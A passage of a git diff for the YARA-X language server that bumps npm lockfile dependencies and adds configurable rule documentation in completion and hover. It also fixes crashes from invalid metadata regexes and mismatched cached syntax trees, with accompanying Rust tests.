"sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA==", + "version": "5.0.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz", + "integrity": "sha512-YovQ3rzhaLMIrDjNDMkNS01tea93qhEhG5xy8f6+R0l+dw3Ki+5sCoIoI942iuLZTHWogWktgwVDhU09iNEimQ==", "dev": true, "license": "MIT", "dependencies": { "balanced-match": "^4.0.2" }, "engines": { - "node": "18 || 20 || >=22" + "node": "20 || >=22" } }, "node_modules/minimist": { @@ -4113,13 +4127,14 @@ } }, "node_modules/qs": { - "version": "6.15.2", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.2.tgz", - "integrity": "sha512-Rzq0KEyX/w/tEybncDgdkZrJgVUsUMk3xjh3t5bv3S1HTAtg+uOYt72+ZfwiQwKdysThkTBdL/rTi6HDmX9Ddw==", + "version": "6.17.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.17.0.tgz", + "integrity": "sha512-5LK5BZ2XDHMvcUJaf0CQ5HL3aVgKbpklvByC7qLSxYkfE8COEEbJg5xCHWCTqzqi0Gs4Jn5Mv5v3R38W6edscA==", "dev": true, "license": "BSD-3-Clause", "dependencies": { - "side-channel": "^1.1.0" + "es-define-property": "^1.0.1", + "side-channel": "^1.1.1" }, "engines": { "node": ">=0.6" @@ -4416,15 +4431,15 @@ } }, "node_modules/side-channel": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", - "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz", + "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==", "dev": true, "license": "MIT", "dependencies": { "es-errors": "^1.3.0", - "object-inspect": "^1.13.3", - "side-channel-list": "^1.0.0", + "object-inspect": "^1.13.4", + "side-channel-list": "^1.0.1", "side-channel-map": "^1.0.1", "side-channel-weakmap": "^1.0.2" }, @@ -4436,14 +4451,14 @@ } }, "node_modules/side-channel-list": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz", - "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", + "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", "dev": true, "license": "MIT", "dependencies": { "es-errors": "^1.3.0", - "object-inspect": "^1.13.3" + "object-inspect": "^1.13.4" }, "engines": { "node": ">= 0.4" @@ -5012,9 +5027,9 @@ "license": "MIT" }, "node_modules/undici": { - "version": "7.28.0", - "resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz", - "integrity": "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA==", + "version": "7.30.1", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.30.1.tgz", + "integrity": "sha512-03KrMbjIFDWQR5RNPrSw3bd1r12JpyFQl9/yxjUbJtqkjmllqC5lFjZh6ujeuJCKr8EOQvRW872Oy/az+nLYxg==", "dev": true, "license": "MIT", "engines": { diff --git a/ls/editors/code/package.json b/ls/editors/code/package.json index 1c877a703..479d96ba7 100644 --- a/ls/editors/code/package.json +++ b/ls/editors/code/package.json @@ -123,6 +123,26 @@ "type": "boolean", "default": true, "description": "Specifies if the language server should cache all files from the workspace." + }, + "YARA.documentation": { + "type": "object", + "default": { + "showRuleStringsBlock": false, + "showRuleConditionBlock": false + }, + "description": "Options for documentation settings that affect Code Completion and Hover language features.", + "properties": { + "showRuleStringsBlock": { + "type": "boolean", + "default": false, + "description": "If true, the language server will show the strings block in rule documentation." + }, + "showRuleConditionBlock": { + "type": "boolean", + "default": false, + "description": "If true, the language server will show the condition block in rule documentation." + } + } } } }, diff --git a/ls/src/configuration.rs b/ls/src/configuration.rs index 6ea4cf52c..7177320c4 100644 --- a/ls/src/configuration.rs +++ b/ls/src/configuration.rs @@ -13,6 +13,8 @@ pub struct Config { pub rule_name_validation: Option, #[serde(default)] pub cache_workspace: bool, + #[serde(default)] + pub documentation: DocumentationConfiguration, } /// This structure represents settings for the YARA-X formatter. @@ -62,6 +64,13 @@ pub struct MetadataValidationRule { pub regex: Option, } +#[derive(Deserialize, Debug, Clone, Default)] +#[serde(rename_all = "camelCase", default)] +pub struct DocumentationConfiguration { + pub show_rule_strings_block: bool, + pub show_rule_condition_block: bool, +} + #[cfg(test)] mod tests { use super::*; @@ -79,6 +88,8 @@ mod tests { assert!(config.metadata_validation.is_empty()); assert!(config.rule_name_validation.is_none()); assert!(!config.cache_workspace); + assert!(!config.documentation.show_rule_strings_block); + assert!(!config.documentation.show_rule_condition_block); } #[test] @@ -97,7 +108,11 @@ mod tests { } ], "ruleNameValidation": "^[a-z_]+$", - "cacheWorkspace": true + "cacheWorkspace": true, + "documentation": { + "showRuleStringsBlock": true, + "showRuleConditionBlock": false + } }"#; let config: Config = serde_json::from_str(json).unwrap(); @@ -112,5 +127,7 @@ mod tests { assert_eq!(rule.regex.as_deref(), Some("^[A-Za-z ]+$")); assert_eq!(config.rule_name_validation.as_deref(), Some("^[a-z_]+$")); assert!(config.cache_workspace); + assert!(config.documentation.show_rule_strings_block); + assert!(!config.documentation.show_rule_condition_block); } } diff --git a/ls/src/documents/document.rs b/ls/src/documents/document.rs index e58cbd0bd..379352bc1 100644 --- a/ls/src/documents/document.rs +++ b/ls/src/documents/document.rs @@ -26,6 +26,16 @@ impl Document { /// Creates a new document with precached CST. pub fn new_with_cst(uri: Url, text: String, cst: CST) -> Self { + // Reuse the cached CST only when its lossless token text matches `text` + // byte-for-byte. Editors may normalize CRLF to LF on `didOpen`, or a + // buffer closed with unsaved edits may be reopened from disk; pairing a + // divergent CST with `text` would cause `AST::new` to slice `text` with + // misaligned or out-of-bounds spans. + let cst = if cst.root().text() == text.as_str() { + cst + } else { + CST::from(text.as_str()) + }; let line_index = LineIndex::new(text.as_str()); Self { uri, text, cst, line_index } } diff --git a/ls/src/documents/storage.rs b/ls/src/documents/storage.rs index 97def5476..0268e67bf 100644 --- a/ls/src/documents/storage.rs +++ b/ls/src/documents/storage.rs @@ -11,7 +11,10 @@ use yara_x_parser::cst::{CST, Immutable, Node, SyntaxKind, Token}; use crate::{ documents::document::Document, - utils::cst_traversal::{get_includes, rule_from_ident, rule_usages}, + utils::cst_traversal::{ + get_includes, rule_from_ident, rule_from_ident_string, rule_ident, + rule_usages, + }, }; #[cfg(not(target_family = "wasm"))] @@ -123,6 +126,38 @@ impl DocumentStorage { None::> } + /// Returns an iterator with all rule declaration nodes from the workspace. + pub fn workspace_rules( + &self, + ) -> Option, Url)>> { + Some( + self.walk_workspace()? + .filter_map(|url| { + self.get_document_cst_root(&url).map(|root| (root, url)) + }) + .flat_map(|(root, url)| { + root.children().filter_map(move |node| { + if node.kind() == SyntaxKind::RULE_DECL { + Some((node, url.clone())) + } else { + None + } + }) + }), + ) + } + + /// This method tries to find rule declaration in document by given + /// `uri` and `name` of the rule. + pub fn workspace_resolve( + &self, + uri: &Url, + name: &str, + ) -> Option> { + self.get_document_cst_root(uri) + .and_then(|root| rule_from_ident_string(&root, name)) + } + /// Finds the definition of the rule with the given `ident`. /// /// It looks into the document identified by the given `uri` and all its @@ -295,38 +330,27 @@ impl DocumentStorage { } /// This function collects all rules that were included from other - /// files as [`yara_x_parser::cst::Token`] and also stores its - /// relative path to the `base` URI of the origin document. + /// files as [`yara_x_parser::cst::Token`] along with the [`Url`] of + /// the document where each rule is defined. pub fn included_rules( &self, base_root: Node, base: &Url, - ) -> Vec<(String, Token)> { + ) -> Vec<(Url, Token)> { let mut includes = get_includes(&base_root, base); let mut accessed: HashSet = HashSet::new(); - let mut rules: Vec<(String, Token)> = vec![]; + let mut rules: Vec<(Url, Token)> = vec![]; while let Some(included) = includes.pop() { if !accessed.contains(&included) { if let Some(root) = self.get_document_cst_root(&included) { includes.extend(get_includes(&root, &included)); - let relative_path = - base.make_relative(&included).unwrap_or_default(); - root.children() .filter(|child| child.kind() == SyntaxKind::RULE_DECL) .for_each(|rule_decl| { - if let Some(ident) = rule_decl - .children_with_tokens() - .find(|node_or_token| { - node_or_token.kind() == SyntaxKind::IDENT - }) - .and_then(|node_or_token| { - node_or_token.into_token() - }) - { - rules.push((relative_path.clone(), ident)); + if let Some(ident) = rule_ident(&rule_decl) { + rules.push((included.clone(), ident)); } }); } @@ -506,7 +530,7 @@ mod tests { let included = storage.included_rules(root, &uri2); assert_eq!(included.len(), 1); - assert_eq!(included[0].0, "inc.yar"); + assert_eq!(included[0].0, uri1); assert_eq!(included[0].1.text(), "inc_rule"); } @@ -526,4 +550,55 @@ mod tests { assert!(!storage.cached.contains_key(&uri)); } + + #[test] + fn test_cached_cst_divergent_text() { + use std::sync::Arc; + + use async_lsp::lsp_types::{Position, Range}; + + use crate::features::{ + document_symbol::document_symbol, inlay_hint::inlay_hint, + }; + + let storage = Arc::new(DocumentStorage::new()); + let uri = Url::parse("file:///project/divergent.yar").unwrap(); + + // Simulate opening a file, making unsaved edits that make the buffer + // much longer, closing with workspace caching enabled, and reopening + // the shorter on-disk version. + let on_disk = "import \"pe\"\nrule short {\n condition:\n with x = pe.entry_point : ( x == 0 )\n}"; + let unsaved_longer = format!( + "{}\n{}", + "// padding comment to shift all spans past on_disk.len()\n" + .repeat(10), + on_disk + ); + + storage.insert(uri.clone(), unsaved_longer); + storage.remove(&uri, true); + assert!(storage.cached.contains_key(&uri)); + + storage.insert(uri.clone(), on_disk.to_string()); + assert_eq!(storage.get(&uri).unwrap().cst.root().text(), on_disk); + + let symbols = document_symbol(Arc::clone(&storage), uri.clone()); + assert!(symbols.is_some()); + + let hints = inlay_hint( + Arc::clone(&storage), + uri.clone(), + Range::new(Position::new(0, 0), Position::new(4, 0)), + ); + assert_eq!(hints.unwrap().len(), 1); + + // Also simulate CRLF cached from disk followed by LF-normalized text in + // `didOpen`. + let crlf_text = on_disk.replace('\n', "\r\n"); + storage.remove(&uri, false); + storage.cached.insert(uri.clone(), CST::from(crlf_text.as_str())); + storage.insert(uri.clone(), on_disk.to_string()); + assert_eq!(storage.get(&uri).unwrap().cst.root().text(), on_disk); + assert!(document_symbol(Arc::clone(&storage), uri).is_some()); + } } diff --git a/ls/src/features/completion.rs b/ls/src/features/completion.rs index ad54be590..9ebb7cf88 100644 --- a/ls/src/features/completion.rs +++ b/ls/src/features/completion.rs @@ -1,10 +1,9 @@ -use std::collections::HashSet; use std::sync::Arc; use async_lsp::lsp_types::{ CompletionContext, CompletionItem, CompletionItemKind, - CompletionItemLabelDetails, CompletionTriggerKind, InsertTextFormat, - InsertTextMode, Position, Range, TextEdit, Url, + CompletionItemLabelDetails, CompletionTriggerKind, Documentation, + InsertTextFormat, InsertTextMode, Position, Url, }; use itertools::Itertools; @@ -12,13 +11,16 @@ use itertools::Itertools; use yara_x::mods::{module_names, reflect::Type}; use yara_x_parser::cst::{CST, Immutable, Node, SyntaxKind, Token}; +use crate::configuration::DocumentationConfiguration; use crate::documents::storage::DocumentStorage; use crate::utils::cst_traversal::{ idents_declared_by_expr, non_error_parent, prev_non_trivia_token, - rule_containing_token, token_at_position, + rule_containing_token, rule_ident, token_at_position, }; -use crate::utils::modules::{get_type, ty_to_string}; +use crate::utils::imports::ModuleImports; +use crate::utils::modules::{ResolvedType, get_type, ty_to_string}; +use crate::utils::rule_documentation::RuleDocumentationBuilder; const PATTERN_MODS: &[(SyntaxKind, &[&str])] = &[ ( @@ -130,6 +132,29 @@ pub fn completion( Some(vec![]) } +/// Resolves additional documentation for a rule completion item. +pub fn resolve_completion( + documents: Arc, + documentation_configuration: &DocumentationConfiguration, + mut item: CompletionItem, +) -> CompletionItem { + if let Some(uri) = item + .data + .as_ref() + .and_then(|data| data.get("uri")) + .and_then(serde_json::Value::as_str) + .and_then(|uri_str| Url::parse(uri_str).ok()) + && let Some(rule) = documents.workspace_resolve(&uri, &item.label) + { + item.documentation = Some(Documentation::MarkupContent( + RuleDocumentationBuilder::new(rule) + .rule_markdown(documentation_configuration), + )); + item.data = None; + } + item +} + /// Collects completion suggestions for a condition block. fn condition_suggestions( cst: &CST, @@ -150,17 +175,16 @@ fn condition_suggestions( for rule_decl in root.children().filter(|n| n.kind() == SyntaxKind::RULE_DECL) { - if let Some(rule_ident) = rule_decl - .children_with_tokens() - .find(|n| n.kind() == SyntaxKind::IDENT) - .and_then(|n| n.into_token()) - { + if let Some(ident) = rule_ident(&rule_decl) { result.push(CompletionItem { - label: rule_ident.text().to_string(), + label: ident.text().to_string(), label_details: Some(CompletionItemLabelDetails { description: Some("Rule".to_string()), ..Default::default() }), + data: Some(serde_json::json!({ + "uri": uri, + })), kind: Some(CompletionItemKind::VARIABLE), ..Default::default() }); @@ -168,13 +192,16 @@ fn condition_suggestions( } result.extend( documents.included_rules(cst.root(), &uri).into_iter().map( - |(desc, token)| CompletionItem { + |(included_uri, token)| CompletionItem { label: token.text().to_string(), label_details: Some(CompletionItemLabelDetails { - description: Some(desc), + description: uri.make_relative(&included_uri), ..Default::default() }), kind: Some(CompletionItemKind::VARIABLE), + data: Some(serde_json::json!({ + "uri": included_uri, + })), ..Default::default() }, ), @@ -206,42 +233,15 @@ fn condition_suggestions( }) }); - // Collect already imported modules. - let imported = root - .children() - .filter_map(|node| { - if node.kind() == SyntaxKind::IMPORT_STMT { - // The last token in IMPORT_STMT is a STRING_LIT with - // the module name. - node.last_token() - } else { - None - } - }) - .map(|module_name| { - // Strip the quotes from the module name. - module_name.text().trim_matches('"').to_string() - }) - .collect::>(); - - // Suggest module names. + // Suggest module names, importing them automatically if they + // are not imported yet. + let imports = ModuleImports::new(&root); module_names().for_each(|module_name| { - // Automatically imports the module if it is not already imported. - let additional_text_edits = if imported.contains(module_name) { - None - } else { - Some(vec![TextEdit { - range: Range { - start: Position { line: 0, character: 0 }, - end: Position { line: 0, character: 0 }, - }, - new_text: format!("import \"{}\"\n", module_name), - }]) - }; result.push(CompletionItem { label: module_name.to_string(), kind: Some(CompletionItemKind::MODULE), - additional_text_edits, + additional_text_edits: imports + .edits_to_import(module_name), ..Default::default() }) }); @@ -260,13 +260,20 @@ fn condition_suggestions( .children_with_tokens() .find(|n| n.kind() == SyntaxKind::PATTERN_IDENT) .and_then(|n| n.into_token()) + && let Some(label) = pattern_ident.text().strip_prefix('$') + && !label.is_empty() { result.push(CompletionItem { - label: String::from(&pattern_ident.text()[1..]), + label: label.to_string(), label_details: Some(CompletionItemLabelDetails { description: Some("Pattern".to_string()), ..Default::default() }), + documentation: Some(Documentation::MarkupContent( + RuleDocumentationBuilder::pattern_node_markdown( + &pattern_def, + ), + )), kind: Some(CompletionItemKind::TEXT), ..Default::default() }); @@ -380,11 +387,17 @@ fn field_suggestions(token: &Token) -> Option> { _ => None, }?; - let current_struct = match get_type(&token)? { - Type::Struct(s) => s, - _ => return None, + let ResolvedType { ty: Type::Struct(current_struct), module: module_name } = + get_type(&token)? + else { + return None; }; + // Accepting any of the suggested fields imports the module, if it's not + // imported yet. + let root = token.parent().map(|p| p.root())?; + let auto_import = ModuleImports::new(&root).edits_to_import(&module_name); + // Now `current_struct` is the structure before the cursor. // We want to suggest fields for this structure. let suggestions = current_struct @@ -393,80 +406,96 @@ fn field_suggestions(token: &Token) -> Option> { let name = f.name(); let ty = f.ty(); - if let Type::Func(ref func_def) = ty { - func_def - .signatures - .iter() - .map(|sig| { - let args = sig - .args() - .map(|(name, ty)| format!("{}: {}", name, ty_to_string(ty))) - .collect::>(); - - let args_template = sig - .args() - .enumerate() - .map(|(n, (name, _))| { - format!("${{{}:{name}}}", n + 1) - }) - .join(", "); - - CompletionItem { - label: format!( - "{}({})", - name, - args.join(", ") - ), - kind: Some(CompletionItemKind::METHOD), - insert_text: Some(format!( - "{name}({args_template})", - )), - insert_text_format: Some( - InsertTextFormat::SNIPPET, - ), - label_details: Some(CompletionItemLabelDetails { - description: Some(ty_to_string(&ty)), + match ty { + Type::Func(ref func_def) => { + func_def + .signatures + .iter() + .map(|sig| { + let args = sig + .args() + .map(|(name, ty)| format!("{}: {}", name, ty_to_string(ty))) + .collect::>(); + + let args_template = sig + .args() + .enumerate() + .map(|(n, (name, _))| { + format!("${{{}:{name}}}", n + 1) + }) + .join(", "); + + CompletionItem { + label: format!( + "{}({})", + name, + args.join(", ") + ), + kind: Some(CompletionItemKind::METHOD), + insert_text: Some(format!( + "{name}({args_template})", + )), + insert_text_format: Some( + InsertTextFormat::SNIPPET, + ), + label_details: Some(CompletionItemLabelDetails { + description: Some(ty_to_string(&ty)), + ..Default::default() + }), + documentation: sig.doc().map( + |docs| { + Documentation::MarkupContent( + async_lsp::lsp_types::MarkupContent { + kind: async_lsp::lsp_types::MarkupKind::Markdown, + value: format!( + "## `{}({}) -> {}`\n\n{}", + name, + sig.args() + .map(|(name, ty)| format!("{}: {}", name, ty_to_string(ty))) + .join(", "), + ty_to_string(sig.ret_type()), + docs + ), + }, + ) + }, + ), + additional_text_edits: auto_import.clone(), ..Default::default() - }), - documentation: sig.doc().map( - |docs| { - async_lsp::lsp_types::Documentation::MarkupContent( - async_lsp::lsp_types::MarkupContent { - kind: async_lsp::lsp_types::MarkupKind::Markdown, - value: format!( - "## `{}({}) -> {}`\n\n{}", - name, - sig.args() - .map(|(name, ty)| format!("{}: {}", name, ty_to_string(ty))) - .join(", "), - ty_to_string(sig.ret_type()), - docs - ), - }, - ) - }, - ), + } + }) + .collect() + } + _ => { + let insert_text = match &ty { + Type::Array(_) => format!("{name}[${{1}}]${{2}}"), + _ => name.to_string(), + }; + + let mut description = ty_to_string(&ty); + + let kind = if matches!(ty, Type::Struct(ref s) if s.is_enum()) { + CompletionItemKind::ENUM + } else if f.is_const() { + description.insert_str(0, "const "); + CompletionItemKind::CONSTANT + } else { + CompletionItemKind::FIELD + }; + + vec![CompletionItem { + label: name.to_string(), + kind: Some(kind), + insert_text: Some(insert_text), + insert_text_format: Some(InsertTextFormat::SNIPPET), + label_details: Some(CompletionItemLabelDetails { + description: Some(description), ..Default::default() - } - }) - .collect() - } else { - let insert_text = match &ty { - Type::Array(_) => format!("{name}[${{1}}]${{2}}"), - _ => name.to_string(), - }; - - vec![CompletionItem { - label: name.to_string(), - kind: Some(CompletionItemKind::FIELD), - insert_text: Some(insert_text), - insert_text_format: Some(InsertTextFormat::SNIPPET), - label_details: Some(CompletionItemLabelDetails { - description: Some(ty_to_string(&ty)), + }), + additional_text_edits: auto_import.clone(), ..Default::default() - }), - ..Default::default() - }] + }] + } } }) .collect(); diff --git a/ls/src/features/diagnostics.rs b/ls/src/features/diagnostics.rs index 63baf3cea..d1f5ebe05 100644 --- a/ls/src/features/diagnostics.rs +++ b/ls/src/features/diagnostics.rs @@ -98,14 +98,20 @@ pub fn compiler_diagnostics( if let Some(ty) = &validation_rule.ty { match ty.as_str() { "string" => { - if let Some(pattern) = &validation_rule.regex { + // Pre-compile the regex outside the validator closure: + // `initialization_options` and `load_config` may store an + // invalid regex in `Config`, and calling `.unwrap()` inside + // the validator would panic when linting a matching rule. + if let Some(pattern) = &validation_rule.regex + && let Ok(re) = Regex::new(pattern) + { compiler.add_linter(linter.validator( - |meta| { + move |meta| { if let yara_x_parser::ast::MetaValue::String( value, ) = &meta.value { - Regex::new(pattern).unwrap().is_match(value.0) + re.is_match(value.0) } else { false } @@ -299,3 +305,67 @@ pub fn compiler_diagnostics( diagnostics } + +#[cfg(test)] +mod tests { + use super::*; + use crate::configuration::MetadataValidationRule; + + #[test] + fn test_diagnostics_invalid_metadata_regex() { + let storage = Arc::new(DocumentStorage::new()); + let uri = Url::parse("file:///test.yar").unwrap(); + storage.insert( + uri.clone(), + r#"rule r { + meta: + author = "Alice" + ticket = 123 + condition: + true + }"# + .to_string(), + ); + + let config = Arc::new(Config { + metadata_validation: vec![ + MetadataValidationRule { + identifier: "author".to_string(), + required: true, + ty: Some("string".to_string()), + format: None, + regex: Some("[unclosed".to_string()), + }, + MetadataValidationRule { + identifier: "ticket".to_string(), + required: false, + ty: Some("string".to_string()), + format: None, + regex: Some("[also-invalid".to_string()), + }, + MetadataValidationRule { + identifier: "author".to_string(), + required: false, + ty: Some("string".to_string()), + format: None, + regex: Some("^Bob$".to_string()), + }, + ], + ..Default::default() + }); + + // Must not panic on invalid regexes, while still enforcing string type + // on `ticket` and valid regexes on `author`. + let diags = diagnostics(storage, uri, config); + let invalid_meta_diags: Vec<_> = diags + .iter() + .filter(|d| { + d.code + == Some(NumberOrString::String( + "invalid_metadata".to_string(), + )) + }) + .collect(); + assert_eq!(invalid_meta_diags.len(), 2); + } +} diff --git a/ls/src/features/document_highlight.rs b/ls/src/features/document_highlight.rs index 152ed3eb9..9f52a704c 100644 --- a/ls/src/features/document_highlight.rs +++ b/ls/src/features/document_highlight.rs @@ -80,8 +80,14 @@ pub fn document_highlight( } if let Some(range) = rule_from_ident(&cst.root(), &ident) + .and_then(|node| { + node.children_with_tokens().find(|node_or_token| { + node_or_token.kind() == SyntaxKind::IDENT + }) + }) + .and_then(|node_or_token| node_or_token.into_token()) .as_ref() - .and_then(node_to_range) + .and_then(token_to_range) { result.push(DocumentHighlight { range, diff --git a/ls/src/features/hover.rs b/ls/src/features/hover.rs index f2726af0f..cde7bce49 100644 --- a/ls/src/features/hover.rs +++ b/ls/src/features/hover.rs @@ -5,81 +5,22 @@ use async_lsp::lsp_types::{ }; use itertools::Itertools; use yara_x::mods::reflect::Type; -use yara_x_parser::cst::{Immutable, Node, NodeOrToken, SyntaxKind, Utf8}; +use yara_x_parser::cst::{NodeOrToken, SyntaxKind, Utf8}; +use crate::configuration::DocumentationConfiguration; use crate::documents::storage::DocumentStorage; use crate::utils::cst_traversal::{ - find_declaration, pattern_from_ident, prev_non_trivia_token, - rule_containing_token, token_at_position, + find_declaration, prev_non_trivia_token, token_at_position, }; use crate::utils::modules::{get_type, ty_to_string}; - -/// Builder for hover Markdown representation of a rule. -struct RuleHoverBuilder { - name: String, - metas: Option>, - patterns: Option>, - condition: Option>, -} - -impl RuleHoverBuilder { - /// Creates a new RuleHoverBuilder with the given rule identifier. - pub fn new(name: &str) -> Self { - RuleHoverBuilder { - name: String::from(name), - metas: None, - patterns: None, - condition: None, - } - } - - /// Creates the Markdown representation of the rule. - /// It includes the rule name, metas, strings, and condition. - pub fn get_markdown(&self) -> String { - let mut markdown = format!("### rule `{}`\n", self.name); - - if let Some(metas) = &self.process_metas() { - markdown.push_str("```\n"); - markdown.push_str(metas); - markdown.push_str("\n```\n"); - } - - markdown - } - - /// Processes the meta block and returns its markdown representation. - fn process_metas(&self) -> Option { - Some( - self.metas - .as_ref()? - // All children in METAS_BLK should be META_DEF. - .children() - .map(|node| format!("{}\n", node.text())) - .collect(), - ) - } - - /// Sets the meta block of the rule. - pub fn set_metas(&mut self, meta: Node) { - self.metas = Some(meta); - } - - /// Sets the strings block of the rule. - pub fn set_patterns(&mut self, strings: Node) { - self.patterns = Some(strings); - } - - /// Sets the condition block of the rule. - pub fn set_condition(&mut self, condition: Node) { - self.condition = Some(condition); - } -} +use crate::utils::rule_documentation::RuleDocumentationBuilder; pub fn hover( documents: Arc, uri: Url, pos: Position, + documentation_configuration: &DocumentationConfiguration, ) -> Option { let document = documents.get(&uri)?; @@ -96,13 +37,11 @@ pub fn hover( | SyntaxKind::PATTERN_LENGTH if token.len::() >= 2 => { - let rule = rule_containing_token(&token)?; - let pattern = pattern_from_ident(&rule, &token)?; - - Some(HoverContents::Markup(MarkupContent { - kind: MarkupKind::Markdown, - value: format!("Pattern value is:\n\n`{}`", pattern.text()), - })) + RuleDocumentationBuilder::from_token(&token) + .and_then(|builder| { + builder.pattern_single_markdown(token.text()) + }) + .map(HoverContents::Markup) } // Other identifiers. SyntaxKind::IDENT => { @@ -110,8 +49,12 @@ pub fn hover( .filter(|token| token.kind() == SyntaxKind::DOT) .and_then(|token| prev_non_trivia_token(&token)) .and_then(|token| get_type(&token)) - .and_then(|ty| { - if let Type::Struct(s) = ty { Some(s) } else { None } + .and_then(|resolved| { + if let Type::Struct(s) = resolved.ty { + Some(s) + } else { + None + } }); let field = structure @@ -195,27 +138,11 @@ pub fn hover( let (rule, _) = documents.find_rule_definition(&uri, &token)?; - let mut builder = RuleHoverBuilder::new(token.text()); - - for child in rule.children() { - match child.kind() { - SyntaxKind::META_BLK => { - builder.set_metas(child); - } - SyntaxKind::PATTERNS_BLK => { - builder.set_patterns(child); - } - SyntaxKind::CONDITION_BLK => { - builder.set_condition(child); - } - _ => {} - } - } + let builder = RuleDocumentationBuilder::new(rule); - Some(HoverContents::Markup(MarkupContent { - kind: MarkupKind::Markdown, - value: builder.get_markdown(), - })) + Some(HoverContents::Markup( + builder.rule_markdown(documentation_configuration), + )) } _ => None, } diff --git a/ls/src/features/mod.rs b/ls/src/features/mod.rs index 7bdf816e9..1ee3a3176 100644 --- a/ls/src/features/mod.rs +++ b/ls/src/features/mod.rs @@ -12,3 +12,4 @@ pub mod rename; pub mod selection_range; pub mod semantic_tokens; pub mod signature_help; +pub mod workspace_symbol; diff --git a/ls/src/features/rename.rs b/ls/src/features/rename.rs index 0dd0851bb..a960555c2 100644 --- a/ls/src/features/rename.rs +++ b/ls/src/features/rename.rs @@ -7,7 +7,7 @@ use yara_x_parser::cst::SyntaxKind; use crate::documents::storage::DocumentStorage; use crate::utils::cst_traversal::{ find_declaration, ident_at_position, occurrences_in_with_for, - pattern_from_ident, pattern_usages, rule_containing_token, + pattern_from_ident, pattern_usages, rule_containing_token, rule_ident, }; use crate::utils::position::token_to_range; @@ -101,14 +101,7 @@ pub fn rename( ); } - let definition_token = occurrences - .definition - .1 - .children_with_tokens() - .find(|node_or_token| { - node_or_token.kind() == SyntaxKind::IDENT - }) - .and_then(|node_or_token| node_or_token.into_token())?; + let definition_token = rule_ident(&occurrences.definition.1)?; result.entry(occurrences.definition.0).or_default().push( TextEdit { diff --git a/ls/src/features/selection_range.rs b/ls/src/features/selection_range.rs index daadd2c3b..b8264165f 100644 --- a/ls/src/features/selection_range.rs +++ b/ls/src/features/selection_range.rs @@ -43,27 +43,74 @@ pub fn selection_range( Some(result) } -/// Recursively gets parent [`yara_x_parser::cst::Node`] spans to construct -/// selection ranges. +/// Builds the linked chain of enclosing [`SelectionRange`]s starting at `node` +/// and expanding outward up to the CST root. +/// +/// In LSP (`textDocument/selectionRange`), editors use this chain to power +/// "Expand Selection" / "Shrink Selection": the returned [`SelectionRange`] +/// covers `node`, its `parent` field covers the next wider ancestor, and so on +/// until the root node (`parent: None`). +/// +/// Consecutive CST ancestors that cover the exact same byte span (such as +/// single-token expression wrappers like `PRIMARY_EXPR` -> `TERM`) are +/// collapsed into a single entry so expanding the selection always widens the +/// range. The chain is constructed in two passes (bottom-up collection, then +/// top-down linking) to avoid recursion on deeply nested CSTs. fn get_parent_selection_range( - parent: Node, + node: Node, ) -> Option> { - match parent.parent() { - Some(next_parent) => { - // Ignore parents with the same span to avoid - // duplicate selection ranges - if parent.span() == next_parent.span() { - get_parent_selection_range(next_parent) - } else { - Some(Box::new(SelectionRange { - range: node_to_range(&parent)?, - parent: get_parent_selection_range(next_parent), - })) - } + // 1. Walk from `node` up to the root, keeping only nodes whose span is + // strictly narrower than their parent's span (plus the root itself). + let mut nodes = Vec::new(); + let mut current = node; + + while let Some(next_parent) = current.parent() { + if current.span() != next_parent.span() { + nodes.push(current); + } + current = next_parent; + } + nodes.push(current); + + // 2. Link the ranges from outermost (root, `parent: None`) back down to + // innermost (`node`, returned at the head of the list). + let mut outer = None; + for ancestor in nodes.into_iter().rev() { + outer = Some(Box::new(SelectionRange { + range: node_to_range(&ancestor)?, + parent: outer, + })); + } + outer +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_selection_range_dedup_and_nesting() { + let storage = Arc::new(DocumentStorage::new()); + let uri = Url::parse("file:///test.yar").unwrap(); + let nested = format!( + "rule r {{ condition: {}true{} }}", + "(".repeat(100), + ")".repeat(100) + ); + storage.insert(uri.clone(), nested); + + let ranges = + selection_range(storage, uri, vec![Position::new(0, 120)]) + .expect("selection ranges"); + assert_eq!(ranges.len(), 1); + + let mut cur = &ranges[0]; + let mut depth = 1; + while let Some(parent) = &cur.parent { + assert_ne!(cur.range, parent.range); + cur = parent; + depth += 1; } - None => Some(Box::new(SelectionRange { - range: node_to_range(&parent)?, - parent: None, - })), + assert!(depth > 100); } } diff --git a/ls/src/features/signature_help.rs b/ls/src/features/signature_help.rs index 72cd5a0cd..61e19e224 100644 --- a/ls/src/features/signature_help.rs +++ b/ls/src/features/signature_help.rs @@ -53,7 +53,7 @@ pub fn signature_help( let last_ident = curr?; - let func = match get_type(&last_ident) { + let func = match get_type(&last_ident).map(|resolved| resolved.ty) { Some(Type::Func(func)) => Some(func), _ => None, }?; diff --git a/ls/src/features/workspace_symbol.rs b/ls/src/features/workspace_symbol.rs new file mode 100644 index 000000000..cf6a46bd4 --- /dev/null +++ 